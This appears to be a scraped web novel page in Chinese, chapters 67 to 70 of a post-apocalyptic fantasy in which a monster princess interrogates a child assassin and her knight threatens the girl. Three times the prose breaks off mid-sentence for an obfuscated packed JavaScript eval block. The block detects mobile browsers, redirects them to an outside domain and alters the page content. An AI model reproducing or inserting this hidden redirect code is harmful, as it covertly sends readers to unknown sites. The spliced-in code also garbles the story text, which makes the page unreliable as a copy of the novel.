“但、但是,我觉得她是有苦衷的。”杜茉看起来要哭了,“她以前救过我,我在基地外面割草碰见了怪物,是她杀掉了怪物,把我带回基地,我才能捡回一命……” “但她的确想杀了望舒。”郁仪抱剑守在黎望舒身边,淡声开口,“我们在明她在暗,这次你放走了她,下一次她还会杀过来,我们必须时时防着她。” “对不起,是我太冲动了。”杜茉含泪绞着手指,低头道歉,“小黎姐姐,我给你添麻烦了。” “小事一桩,别放在心上。”说着,黎望舒又看了眼郁仪,“你也是,别为难小孩子。” “我只是担心你。” 郁仪垂眸,沉默一瞬,又凑近了一步,咬着牙压低声音:“你一天没和我说话了,张口就要为了她训我?其他人也就算了,在你心里,我还比不上一个刚认识的小孩?” 黎望舒满头黑线:“一天很长吗?再说了,我也没训你。” 郁仪有些难过:“不长吗?我的目光时时刻刻放在你身上,可你从来不看我。你的注意力永远都在其他人身上……我很寂寞。” “所以就吃小孩子的醋?你一定要在这种时候和我闹别扭?”黎望舒问,“当初是谁说,只要在我身边就满足了?你想向我索取什么?” 在她死亡四连问的压迫之下,郁仪沉默了。他抱紧剑鞘,睫毛微颤,眼尾一抹薄红在白皙皮肤上格外显眼,看起来像件濒临破碎的瓷器。 黎望舒心中一动——他脆弱的样子很合她的胃口,但刚刚放跑了一个敌人,她还有些焦躁,处在紧绷状态之中,没心思在乎这些。 见郁仪不打算再开口,她移开视线,跳过了这个话题,冷静地继续分析现状:“……总之,不能放着那个怪物不管,无论她是好是坏,都得抓回来问个清楚。她穿得显眼,应该不难找,明天我去基地里打听打听,看看有没有人认识这样的小孩子。” 杜茉左右看了一眼,知道是自己害得哥哥姐姐吵架了,心中愧疚无以复加。 她纠结片刻,还是决定开口:“不用去找,我知道她是谁。” 67. 第 67 章 “她叫戚依依,是方将军的侄女,父母都去世了,方将军格外疼她。” 杜茉牵着杜蕊的手,怯怯地将自己知道的情报说出来:“她平时经常在基地里外转悠,基地里的人大部分都认识她。方将军担心她遇到危险,专门给她配了一队警卫,用来保护她。” “那孩子还需要保护?”闻风藻诧异道,“警卫跟在她身边只会拖后腿。” “嗯……也许方将军不了解依依的实力?” 被他这么一说,杜茉也有些想不通了,歪头猜想,“她一直表现得像个普通孩子,救我的时候不是她亲自动手,而是她身边的警卫出手。我也是头一回知道,她居然这么厉害。” “这样说来,指使她的人不是方将军?”连霏猜测。 “说不准方将军是在做戏呢。”杜蕊说,“装作不知情的样子,以此来逃避嫌疑——别忘了,戚依依可是他的侄女。” “在此之前,她还是个怪物。”黎望舒理顺了思维,缓缓地分析,“人类的亲缘关系对她而言已经失去意义,再加上她毫不犹豫的指认……我认为方镇岳的嫌疑反而没那么大。” “也对啊……那还会是谁呢?”杜蕊一拍巴掌,脑洞大开,“说不定她根本没受指使,只是肚子饿了想吃人,以防万一才要嫁祸给方将军避祸。” “找到她之后,一切自然会水落石出,我有办法撬开她的嘴。”黎望舒说,“我先把你们送回去,然后再去找方镇岳。拖久了,戚依依可能会逃离基地。” 她很好奇,如果戚依依真的受人指使,这个能让怪物为其效力的人类究竟是何方神圣,又是通过什么手段让怪物乖乖听话的……她迫切地想知道答案。 “小黎姐姐,找到依依之后,你会怎么处理她?” 杜茉仰起脸,鼓起勇气向黎望舒搭话,“她对身边的人很友善,甚至会在我饿肚子的时候与我分享肉干,基地里的人都夸她是乖巧懂事的好孩子……她一定有什么苦衷。” “她舅舅可是基地大Boss。”闻风藻吐槽,“大家当然会说好话。” “你懂得知恩图报,这很好,但也要分清是非,不能盲目包庇。” 黎望舒蹲下来与杜茉对视,温声道:“我保证,在将事情的来龙去脉搞清楚之前,不会动她,这样可以吗?” “嗯!谢谢小黎姐姐!”杜茉舒了口气,连忙点头。 “我还有一件事要确认。”黎望舒问她:“基地里失踪的人多吗?” “去基地外头打猎的人每天都会有几个回不来的,我割草回来的时候,经常能看到检查处边上哭个不停的人,他们的家人都消失在外头了。”杜茉犹犹豫豫地回答,“这算失踪吗?” “基地里面呢?”黎望舒问,“有没有没出基地,却莫名其妙失踪的人?” “这……倒是没听说过。” 杜茉想起了他们之前的讨论,反应过来,“姐姐,你怀疑依依吃人?她、她真的是怪物吗?可她看起来和人类没什么两样。” 杜蕊解释:“茉茉,怪物不都是那副恐怖的样子,越是强大的怪物,与人类越是相似。” “那依依她……不对,她不喜欢吃肉。”杜茉不愿相信,小脸微微发白,“姐姐,怪物都会吃人吗?” 杜蕊不知该如何回答——她见过的大部分怪物都吃人,偏偏又存在黎望舒这个特例。她不想让妹妹失去对怪物的警戒心,但如果粗暴地回答“是”,又会伤了黎望舒的心。 她正为难着,黎望舒面色如常地接过了她的话茬:“人类的确在怪物的食谱上。人类与怪物的关系,很像狗与人的关系,二者之间力量悬殊,狗得到的待遇全看人类的心情——有些人将狗视为家人,愿意给予他们平等的地位,有些人将它们视为宠物,对它们生杀予夺,还有些人将它们视为牲畜,能够毫无心理负担地吃它们的肉。” “妞妞如果听到这些,肯定又要不高兴了。”连霏说,“幸好没把它带出来。” “……我用狗做比喻是因为喜欢狗。”黎望舒发现了自己话中的歧义,解释道:“没有看不起人类的意思。” “哎呀,这里又没有外人,说话不用那么谨慎。”杜蕊忍不住笑起来。 “……我明白了。”低头沉思片刻后,杜茉点头,“怪物中也有亲近人类的个体,但我不该去赌这个可能性。” “你很聪明。”黎望舒赞许道。 厂房距离他们的宿舍不远,说着,他们到了宿舍楼下。塞拉斯背手牵着妞妞,在楼梯边上静立着迎接他们归来。 “欢迎回来。”他微微躬身,视线落在杜茉身上,“看来事情顺利解决了。” 杜茉被他的金发碧眼吓了一跳,下意识抓紧了姐姐的手,往姐姐身后躲了躲——虽然这个大哥哥很俊美,笑起来也很温和,但没来由的,她心中有些发怵。 “你来得正好,帮我守好他们,我还要出去一趟。” 黎望舒简单交待了回来路上发生的袭击,正要离开,塞拉斯却笑着挽留她:“不必费力——您想要的人,我已经为您抓回来了。” …… 宿舍里,戚依依独自坐在床边的地板上,顶着张花猫脸,焦躁不安地啃着指甲。 即便身边无人看守,她也生不出逃跑的心思——那可是王储殿下身边的首席骑士长!就算逃出了大气层,他也有一万种办法将她抓回来。 戚依依想破了头也想不明白,自己只是一时贪玩,随口应下了杀人的委托,怎么就杀到了那两位大人的头上?开什么玩笑,这个星球也太小了! 要是早知道事情会变成这样,她说什么也不会答应的……可惜这世上没有后悔药。 想起王储殿下最后那个冰冷又充满杀意的眼神,戚依依忍不住打了个冷战。 王储殿下平日里待人温和,但在原则性问题上从未退让过,更别提刺杀这种本身就要掉脑袋的罪行了!没有意外的话,她必死无疑。 她越想越害怕,忍不住抱紧脑袋哀叫一声,倒在地板上滚了几个来回。 戚依依滚得太忘情,以至于没听到逐渐接近的脚步声——宿舍门“咔”一声被扭开,她吓得一颤,额头咚一声磕上了床脚的支架,愣愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044582|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地抬头,刚好与低下头的黎望舒对上视线。 戚依依:“……” 黎望舒:“……?” 戚依依回过神来,立刻双手一撑爬了起来,硬着头皮迎了上去:“伟大的、敬爱的、荣光的王储殿下,能见到您,真是三生有幸啊!” 不知道中间发生了什么,殿下虽然依旧态度冷淡,但视线中没了杀气……总归是逃不过的,眼下只能随机应变、尽力保命了——她面上殷勤,心中偷偷打起了小算盘。 “别那样叫我。”将塞拉斯放进来后,黎望舒掩上门,面无表情地说,“接下来的提问,你最好如实回答。” “在您面前,我绝无半句虚言!”戚依依伸指发誓。 “你为什么要杀我们。”黎望舒开门见山。 “是曲明德让我来的。”戚依依说,“他记恨首席骑士长大人当众落了他的面子,所以让我来杀人……真是太恶劣了!” 首席骑士长……指的大概是塞拉斯吧。 无视了她话中的倾向性,黎望舒接着问:“为什么要听他的吩咐,你经常为人类办事?” “绝、绝对没有这种事!”戚依依慌了,瞥了眼一旁笑而不语的塞拉斯,开始滔滔不绝地表忠心:“人类是我们的敌人,我怎么可能会被下等种族骑到头上呢!我对您忠心耿耿,绝无二心,天地可鉴……” 黎望舒听了半天废话,忍无可忍地打断了她:“说重点。” “我会帮他,只是因为有意思。”戚依依苦着脸说,“基地里新鲜事少,太无聊了,我帮曲明德削弱方镇岳的势力,他们两个才能势均力敌,斗得更狠,让我看乐子。” “方镇岳知道你的真实身份吗?”黎望舒问完就见戚依依摇头,费解道:“那曲明德又是怎么知道你有能力杀人的?” “我主动找上去的。”戚依依答得有些心虚,“他和手下密谋要夺我舅舅的权,几次都被我撞见了。那时候我刚好觉得一家独大的基地没意思,于是就和他一拍即合……” 说着,她扭捏地绞了绞手指,为自己辩解:“我这样做,对我们的计划也是有利的!那两个人斗来斗去,最后基地崩解,得利的还是我们,这也没什么不好的吧?” 计划…… 黎望舒心中一动。 “看你玩得那么上头,原来还记得计划。”她面不改色地问,“我来考考你,女皇陛下将在什么时候降临?” 戚依依刚要回答,话题就被塞拉斯截住了:“恕我直言,这种关键信息没有子民会忘记,您的问题太过浅显易懂了。” 黎望舒面无表情地点头,跳过了这个问题。 她猜到了,塞拉斯执意跟进来,无非就是为了封口……这家伙为了保守秘密,还真是尽心竭力。 “那……我还要答吗?”戚依依左右看了两眼,搞不懂这两位大人在打什么哑谜。 “不用了,最后一个问题。”黎望舒紧盯戚依依的双眸,“迄今为止,你杀过多少人?” 被她冷沉的视线盯得尾椎一麻,戚依依下意识站直了,动了动唇,有些不敢说。 68. 第 68 章 王储殿下这是想查她的战绩? 戚依依用尽全力绷住了表情,心中却急得像热锅上的蚂蚁。 末日前她家里管得严,现在好不容易得了自由,不用再遵守人类世界的规则,她在基地里光顾着上山下海地释放天性了。如果不算上曲明德送来的几个人头,她几乎一个人类也没杀……怎么办,王储殿下该不会嫌弃她太废物,直接将她杀了吧?! 时隔一个月,她又找回了被老师抽查作业的感觉。 “我……那个……” 戚依依支支吾吾,紧张得手脚发麻,还在犹豫到底要不要说真话。 “怕什么。”黎望舒皮笑肉不笑地催促:“说就是了。” 戚依依更害怕了。 吞了口唾沫,她顶不住压力,带着哭腔说了实话:“对、对不起,殿下,我还没杀过多少人……我知道错了,是我不够努力,接下来一定会加倍弥补的,求您饶过我吧!” 死一般的寂静在空气中蔓延。 戚依依几乎不敢呼吸,她心中惶恐,壮着胆子抬眸看了一眼,却发现黎望舒并未动怒,面色似乎……还缓和了一些? 黎望舒盯着面前的小女孩,心情微妙。 刚刚见戚依依说话吞吐,她以为戚依依已经杀人如麻,甚至做好了杀死对方的准备,却忘了二人之间还隔着一层信息差——戚依依不知道她没了记忆,恐怕还认为她是那个对人类杀伐果断的总指挥……合着她们之前的那些对话,在戚依依听来,都是在考察KPI? 她有点想笑,又在心底悄悄松了口气。 老实说,她现在对怪物们的感情颇为复杂——一方面,从人类的角度出发,怪物是威胁人类生命的敌人;可另一方面,她自己就是个不折不扣的怪物。虽说同类相残的戏码在怪物族群中似乎并不少见,但她被人类价值观熏陶至今,每次意识到自己正向同类挥刀时,心中都会有些怪异感。 切身体会到了两种身份之间的割裂感,她明白前世的自己为何会苦恼了。接受过文明社会的影响后,她很难再用平常心去接纳自己种群中的野蛮风俗,正因如此,若非遇上罪大恶极之辈,她不想再杀死任何有灵智的生物……无论是怪物,还是人类。 黎望舒缓下面色,“从现在开始,你不必再杀人了。” “啊?”戚依依背后一凉,以为自己要被放弃了,“求您再给我一次机会吧,我再也不贪玩了!” “别想太多,我不杀你。” 黎望舒无奈,只好再次强调:“字面意思,不要再杀人了,我要放弃这次计划,将这颗星球还给人类。” “……”戚依依张大嘴巴,不敢相信自己听到了什么。 放弃计划?那之前投入计划的人力物力算什么,全都付之东流了?她还想靠这次任务赚些荣誉点数呢……计划作废,她一个点数也拿不到,这一趟险白冒了! “殿下,恕我冒昧……”戚依依谨慎地问,“请问女皇陛下知道这件事吗?” “不知道。”黎望舒面不改色地回答,“视情况而定,也许我们会和她开战。” 开战?和那位强大得无与伦比、从未有过败绩的女皇陛下? 就算是在最光怪陆离的梦境中,她也从未想过,自己有一天会在王储的带领下与女皇陛下站在对立面——大脑在极具冲击性的消息中短路,戚依依几乎无法思考,被乱麻似的思绪淹没了。 她忍不住去看塞拉斯的脸色——金发的首席骑士长仿佛没听到这番大逆不道的话语,又像是在默默支持主人的提议,微笑焊在了脸上似的,居然没有一丝动摇。 “你可以走了,回去休息吧。”黎望舒说,“走之前别忘了和杜茉打声招呼,你的命是她保下来的。” “回去?我该去哪里?”戚依依茫然地问。 “……原来住在哪里就回哪儿去。” 戚依依“哦”了一声,晕晕乎乎地向外走,踮着脚扭开门把手,忽然想起一件事,回头问黎望舒:“殿下,那个曲明德该如何处置?” 黎望舒一怔——若不是戚依依提起,她差点忘了这个罪魁祸首的存在。 她想了想,对戚依依说:“你什么都不用做,他要是问起来,你就说打不过我,我会抽空亲自料理他。” 戚依依应了一声,放心地推门出去了。 望着戚依依消失在门后,黎望舒终于放松下来,伸了个大大的懒腰。 “您似乎很疲惫。”塞拉斯关心她,“需要我为您按摩肩颈吗?睡前放松肌肉,有助于高效睡眠。” “……不需要。”黎望舒赶人,“你也回去,顺便把小蕊她们叫回来吧。” “真遗憾。”塞拉斯躬身,“那么,我就告退了。” “咔哒”一声,塞拉斯轻轻地合上了门,留下一室寂静。 她舒了口气,仰面倒在床上,枕着散发着清新味道的柔软被褥,困意止不住地上涌。 今天发生了不少事,一件接一件地拖到了深夜,她的精神的确有些疲累。她打了个哈欠,翻身面朝墙壁,等不到杜蕊她们回来,眼皮一耷拉就沉进了梦乡。 …… 向杜茉挥手道了别,戚依依跳下最后一级台阶,独自走在昏暗的道路上,小皮鞋在水泥地上踏出清脆的哒哒声。 她背着手缓缓向家的方向走,还在想着刚刚杜茉热情的态度。 她与杜茉只见过几面。最初是在基地外的草地边上,她要维持自己天真善良的人设,于是吩咐身边的警卫将杜茉救下。自那之后,杜茉见了她就会上前问好,她也会随手给杜茉塞些肉干……没想到随手的举动居然能让自己捡回一命。 戚依依庆幸地抚了抚胸口,这才注意到身上沾满泥土的皱巴纱裙,顿时嫌弃地拍了又拍——要是就这样回去,保姆阿姨肯定会向舅舅告状的。 她想了想,正准备去任务处翻件新衣服出来,回头却看见身后立着一个高大的金发身影,差点吓飞了魂,“骑、骑士长大人?!” 塞拉斯冷淡地俯视着她。 “请问……您找我有何贵干呀?”戚依依陪着笑问。 “听了殿下的打算后,你似乎有些不满。”塞拉斯缓缓牵起唇角,冲她一笑,“为什么?” 戚依依悚然一惊,想起了从前听到的传闻。 王储殿下虽然耐心不多,但很少为了小事杀人,在子民之间风评很好;这位首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049159|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 席骑士长则恰好相反,温和的表象之下潜藏着浓重的戾气,替王储殿下清剿过无数绊脚石,传说他刚当上骑士长时,上一秒还在与人笑谈,下一秒就挥剑斩下了对方的头颅,是出了名的笑面虎……也有人猜测,也许他做的一切都来自王储的授意。 出发之前,父母反复叮嘱过她,绝对不能对王储殿下不敬,否则就算王储殿下不动怒,首席骑士长也会让她吃足教训。 “……绝无此事。” 恐惧之下,戚依依头皮发麻,大脑一片空白,只挤出了干巴巴的四个字。 “我看过你递交的申请——你想赚取足够多的荣誉点数,换取成为王族骑士的机会。”塞拉斯笑着说,“了不起的志向与超凡的行动力,接取任务的一万个高级种中,你是年纪最小的一个,但能力已经高于大部分同僚了。” “多谢您的夸奖。”戚依依不安地回答。 那一万份申请,他不会一一都看过了吧?她随手填上去的两句申请理由,为什么会被记到现在? “你迫切地想要达成愿望,殿下的做法会阻碍你的脚步,所以你对她感到不满……” “我没有——” “嘘。” 塞拉斯将食指竖在唇边,止住了戚依依的辩解,微笑着继续说:“但你有没有想过,此刻你的面前正摆着一条捷径,一条便利的、快速的、通畅的捷径,抓住机会,就能一步登天。” 戚依依呆了一秒,领会到他话中深意后,心脏扑通扑通地狂跳起来,“您的意思是……” “事成之后,我会举荐你成为王储殿下的骑士。”塞拉斯淡淡道,“相对的,如果被我发现你私底下有小动作——告密、逃跑、或是又一次的刺杀——我会将你就地处刑,没有第二次机会。” ……事成?他们想要成什么事?难不成真要对女皇陛下动手? 戚依依不敢深想,小鸡啄米似的点头,“我明白!” 塞拉斯满意地点头,足尖一点,衣袍翻飞,几下便消失在了浓郁的夜色中。 首席骑士长的身影消失不见,戚依依双腿一软,脱力地跪在街上,后背衣料被冷汗浸湿,生出了劫后余生的庆幸感。 骑士长大人这次过来,只是为了敲打她?不……她从对方身上感受到了锐利的杀气,那绝不是她的错觉,他真的想杀了自己,只是出于某种原因没有下手。 这次真是稀里糊涂地捡回了一条命。 经过这么一番折腾,她早忘了自己原本想去做什么,待在原地愣了一会,摇摇晃晃地站起来,接着往家里走。 她身后,塞拉斯隐匿了自己的气息,碧绿双眸冷意凝结,穿过黑暗,刺向道路上游魂似的小女孩。 ……殿下心胸宽广,对这家伙的处置太柔和了,刺杀王族这种不可饶恕的罪名,居然就这样简单地轻轻放下,有损王族的威严。 无人处,他卸下了温和的伪装。一想到冒犯了殿下的罪人正逍遥法外,他心中就怒气翻涌,忍不住将指节捏得咔咔作响,阴冷的目光紧随着戚依依,直到她消失在街道拐角。 引荐?那只是托辞。接下来的日子里,只要被自己抓住小辫子,等待她的就是万劫不复。 69. 第 69 章 “哎呦,我的小祖宗,你可算回来了!” 二层小楼门前,曲明德焦灼地左右踱步,抬头看到戚依依出现在街角,立刻和身边的保姆阿姨一起迎了上去。 “祖宗,那边……怎么样了?”曲明德殷勤地问,一双胖手刚靠近戚依依就被保姆阿姨拍了下去,他吹胡子瞪眼,“嘿,你个小保姆,翻了天了!” “大半夜的,你找依依到底有什么事?” 保姆阿姨警惕地将戚依依护在身后,看着她沾满泥污的纱裙和恍惚的神色,止不住地心疼起来,怒气冲冲地瞪向曲明德,“她一直很乖,从不做这样没分寸的事,是不是你教唆依依,让她深夜偷跑出去的?我一定会告诉方将军的!” 提到方镇岳,曲明德嚣张的气焰收敛了一些,不耐烦地解释:“没这回事,不信你问她。” 被保姆阿姨牵住手,戚依依回过神来,看向曲明德。一想到今夜自己遭受的一切都因这个圆胖子而起,她就气得牙根发痒,恨意在心底蔓延开来。 殿下说了会亲手修理他,但不让他吃点苦头,她心中实在憋闷…… 戚依依眼珠一转,心中有了主意。 在保姆阿姨关切的注视下,她嘴角一撇,玉雪可爱的脸蛋皱了起来,扑进保姆阿姨怀里干嚎起来:“呜呜!曲叔叔明明说好了带我去基地外面玩,但半路就把我丢下了,说话不算数……外面好黑,好多怪物,我好害怕!” 说着,她抱紧了保姆的脖子,在保姆看不到的角度,悄悄朝后面的曲明德扯了个鬼脸。 “你——!”曲明德面色铁青。 “乖,不怕不怕,已经没事了,我们等方将军回来为你主持公道。”保姆将戚依依抱起,轻声哄着她,转头狠狠瞪了一眼曲明德,“你太龌龊了,居然欺负小孩子!” “不是,大姐,你看看她的脸,一滴眼泪也没掉!” 曲明德指向那张鬼脸,可保姆压根不信他的话,转头进了小楼里,他立刻跟了上去,可保姆用力带上了门,差点砸到他的鼻梁。 他暴跳如雷,下意识想要砸门,拳头在空中停滞几秒,又紧握着垂下了——他还不能和戚依依撕破脸,那小怪物抓着他一堆把柄不说,力量也强得可怕,他与他的手下根本不是对手。 看那小怪物狼狈的样子,应该是被狠狠地修理了一顿,对自己有气也在所难免。不必心急,等那一行人反应过来,自然会来告发她的怪物身份,到时候戚依依与他们狗咬狗,自己只需在一旁看笑话,就能处理掉这个傻乎乎的丫头片子……只可惜,要失去一把好用的刀了。 只是没想到,那一行人居然强得连戚依依都对付不了,看来武力手段行不通……曲明德阴着脸回头,在心中琢磨着该如何将他们赶出基地。 自己拉拢不到的人,更不能白白送给方镇岳! …… 另一边,送走了叽叽喳喳的杜蕊姐妹与连霏,男生宿舍里一下子安静下来。 塞拉斯不知去了哪里过夜,应该不会回来了;郁仪裹着被子缩在上铺面壁,看样子还在伤心。 闻风藻看了眼浴室,有些心痒,他抓起床头的干净衣物,仰头对那团被子说:“我先去洗澡?” 被子里的郁仪沉闷地嗯了一声。 浴室里配备了电热水器,闻风藻试了试水温,发现自己的皮肤更适应冷水的温度。 痛痛快快地洗了个冷水澡,他心情好了不少,擦着发丝上的水珠走出浴室,发现郁仪居然还在面壁,被子上的皱褶走势没有变化,似乎没有动弹过。 闻风藻:“……” 他左右看了一圈——宿舍中电器不多,除去一盏昏暗的小夜灯,就只有一个电热水壶,连吹风机都没有。 他随手开了罐可乐,打开窗户,倚在窗边,让半湿的头发顺着夜风飘散,盯着上铺的被子叹了口气:“你也不容易。” 被子微微一动,往下拉了一截,露出一双疑惑的黑眸。 “你和黎姐现在到底是什么关系?看着挺暧昧,但又不像情侣。”闻风藻问,“我好奇很久了。” 郁仪抓紧被子,迷茫地说:“我也不知道。” 顿了顿,他想起了黎望舒先前的比喻,迟疑着开口:“……也许是宠物与主人的关系?” “噗——咳咳!”闻风藻猝不及防,一口可乐喷了出来,呛得连连咳嗽,好一会儿才缓过来,“你就这么愿意给她当狗?” “我不想被她丢下。”郁仪往被子里缩了缩,小声说,“只要能让她高兴,做她的狗也没什么不好的,我没有不满……但我很害怕,她对我太冷淡了。我甚至不知道她为什么会中意我,如果新鲜感褪去,她还会愿意把我带在身边吗?” 深夜时分总是更容易放松心防,郁仪沉浸在患得患失中,忍不住多说了些。 “……我怎么知道。”闻风藻无力吐槽,只好仰头灌了口可乐,沉默了一会儿,对郁仪说:“我不该问的,一想到你平时面无表情的时候脑袋里转悠的全是恋爱话题,我对你就有些幻灭。” “这没什么不好的。”郁仪说,“你本来就不该对我心存幻想。” 闻风藻:“……” 这话题是彻底聊不下去了。 “浴室空出来了,该你了。”闻风藻抓了抓半干的头发,没了谈天说地的兴致,“早点洗完早点睡,明天还有得折腾。” 郁仪缓缓点头,掀开被子翻身坐起,顺滑黑发从肩头一直散落到腰际。 看着郁仪从身前经过,闻风藻终究没忍住,真诚地提醒他:“在喜欢的人面前,不能表现得太没底线,这会让你显得……非常廉价,没有被人珍惜的价值。” 郁仪偏头,黑眸中是明晃晃的警惕,“你想说什么?” “这是好心的建议……你以为是什么?” 闻风藻瞬间领会到了郁仪的想法,气得冷笑出声,“我承认,以前我憧憬过她,但她对我没兴趣……我的价值观也和她合不来,早就放弃了。” 郁仪问:“真的?” 闻风藻:“千真万确。” “谢谢你的建议,但这并不适用于她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053478|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我永远不会对她设立底线。”郁仪轻声说,“你的确不了解她,这样的做法只会将她越推越远。” 说完,他推门进了浴室,很快,里头传来了哗啦啦的水声。 闻风藻唇角拉成一条直线,捏着易拉罐垂眸站在原地,久久没有动弹。 沉思许久,他自嘲地笑了一声,深深吐出一口气,仰头将罐中的气泡饮料一饮而尽,将捏扁了的易拉罐丢进垃圾桶,翻身上床。 …… 第二天一早,黎望舒神清气爽地醒了过来。 宿舍里的其他三个女孩都睡得很沉。黎望舒轻手轻脚地下了床,撩开窗帘一看,才发现太阳还未完全升起来。 她心情不错,简单洗漱一番,将自己收拾好后,想出去呼吸新鲜空气,却没想到刚推开门就与一脸困意的戚依依对上了视线。 戚依依换了身干净的小裙子,张大嘴巴打着哈欠,眼角溢出生理性的泪水。见房门打开,她连忙将没打完的半个哈欠憋了回去,整理好表情后,冲黎望舒扬起一个大大的笑容:“殿下,早上好!” “早,怎么不多睡一会儿?”黎望舒反手关上门,“还有,别在大家面前叫我殿下。” “那我该怎么称呼您?”戚依依困惑。 黎望舒想了想,对她说:“和杜茉一样,叫我姐姐吧。” “……这、这怎么行!”戚依依睁大双眼。 “殿下的吩咐,你照做就是。” 塞拉斯不知从哪里转了出来,微笑着开口——不知为何,戚依依总觉得他的笑容有些不怀好意。 “那……小黎姐姐?”扭捏地纠结了一会儿,戚依依硬着头皮开口。 “嗯,这样就好。”黎望舒点头,“昨晚回去之后没发生什么吧?我打算现在去找曲明德。” “他现在不在基地里。”戚依依幸灾乐祸地笑起来,“昨晚我闹了一通,舅舅以为我被他欺负了,狠狠地训了他半天,又把他打发进搜索车队做物资任务去了……他面色发青的模样特别有意思,可惜没让您也看看。” “也好,在基地外下手更方便。”黎望舒若有所思地说,“车队往哪个方向走了?” 戚依依回头,刚想指明方位,忽然“咦”了一声,扑到栏杆边上,伸着脑袋向下看去,“小黎姐姐,那边那个人有点眼熟……好像昨天刚被你们揍了一顿。” 黎望舒顺着她指的方向看去——远处的灰色水泥路上,两个穿着朴素的工人一前一后地抬着担架,小心地前进,担架上的人上半身缠满绷带,两只手臂都打着石膏,唯独把青肿的脸露了出来,正是昨晚被杜蕊狠揍了一顿的杜为民。 随着担架的摇动,杜为民痛得不断呻吟,面容扭曲,看起来极为凄惨,道路两边的行人都忍不住朝他投去不忍的目光,不时窃窃私语,感叹凶手毫无人性。 看方向,这三人是冲着宿舍这边来的……大清早的,又要搞什么幺蛾子? 黎望舒微微挑眉,将寻找曲明德的计划暂且搁置,和戚依依一起倚在栏杆边上,等着他们过来。 70. 第 70 章 两个工人将满身绷带的杜为民抬到了宿舍正下方的道路中间,随后便将他留在这里,不发一言地离开了。 清晨路上行人不多,但想看热闹的不少。很快,担架周围聚起了稀稀拉拉的人群,黎望舒扫了一眼,并未在其中看到杜蕊的母亲萧荣与弟弟杜昊轩,反而找到了一个鬼鬼祟祟的身影,看起来有几分眼熟。 她心中顿时有了数。 杜为民哼唧着躺在担架上,眼睛被一个又一个青肿大包挤成了两条细缝。他眼珠不时左右瞟动,似乎还嫌周围的人不够多似的,迟迟不肯拉起这场大戏的帷幕。 杜蕊刚接回了妹妹,起床看见这么个东西在楼下生事肯定不会高兴——黎望舒松开栏杆,刚想下楼去把事情摆平,身后的宿舍门就被打开了。 杜蕊迷迷糊糊地探出脑袋,打着哈欠说:“早啊……怎么吵吵闹闹的,出什么事了?” 黎望舒止住脚步,下巴朝栏杆下面一点,“有人想闹事,估计是冲着我们来的。” “啊?” 杜蕊还穿着睡衣,闻言连忙套上外衣,哆哆嗦嗦地跑了出来。看到躺在担架上的杜为民时,她忍不住骂了句脏话,“靠,这老东西怎么追到这里来了!” 同一时间,楼下的杜为民也看到了头顶上的杜蕊,顿时激动地大叫:“*%&%…!!” 他缺了几颗牙,口中漏风,面部肌肉一动就痛,根本无法好好发声,谁也没听清楚他究竟说了些什么。 “肯定不是什么好话!”杜蕊撸起袖子,气冲冲地往楼下赶,“居然还敢送上门来,我正嫌昨天揍得太轻不解气呢!” “哎……”戚依依目送杜蕊消失在楼梯下面,犹豫着问黎望舒:“您不阻止她吗?我看下面那人不像个好东西。” “拦她做什么,对面是个爬不起来的半瘫,还有我在旁边看着,吃不了亏的。” 黎望舒笑了一声,“先让她出了这口气,事了后再去找那个在幕后推波助澜的人,新仇旧帐一起算。” “原来如此,不愧是殿……小黎姐姐!”戚依依及时刹车,又眨巴着眼睛问:“这家伙是谁送来的?” “这基地里和我们不对付的,也只有曲明德了——你看,那边那个贼眉鼠眼的男人就是他的手下。”黎望舒示意戚依依往人堆里看,又费解地说:“痕迹留得这么明显,他没想过自己会遭报复?不会真觉得靠这种不入流的小手段就能把我们吓退吧,未免太看不起人了。” “可能是有恃无恐吧。”戚依依撇嘴,“他是我舅舅的老战友,舅舅对他容忍度很高,平时就对他的恶行睁一只眼闭一只眼,就算牵扯上我也只是训一顿打发出去,高高举起轻轻放下罢了。” 黎望舒思索片刻,问戚依依:“你觉得方镇岳是个什么样的人?” “舅舅?嗯……以前我和他不太熟。末日开始后,我的‘父母’被杀死,他收养了我,从那时候起我才开始和他打交道。”戚依依边回忆边说,“他对我很和善,对身边人也一样,从刚建立起基地时起到现在,他一直兢兢业业,每天都很晚回家,算是个老好人吧,至少我没见过他做坏事。” 黎望舒若有所思地点头,没有对此发表意见。 另一边,杜蕊一阵风似的冲到了楼下,一句话没说,先抬脚踹翻了载着杜为民的担架。杜为民滚在地上,下肢勉强还能动弹,但两条胳膊被包得严严实实,扑腾了半天也没能站起来,反而让自己疼得呲牙咧嘴。 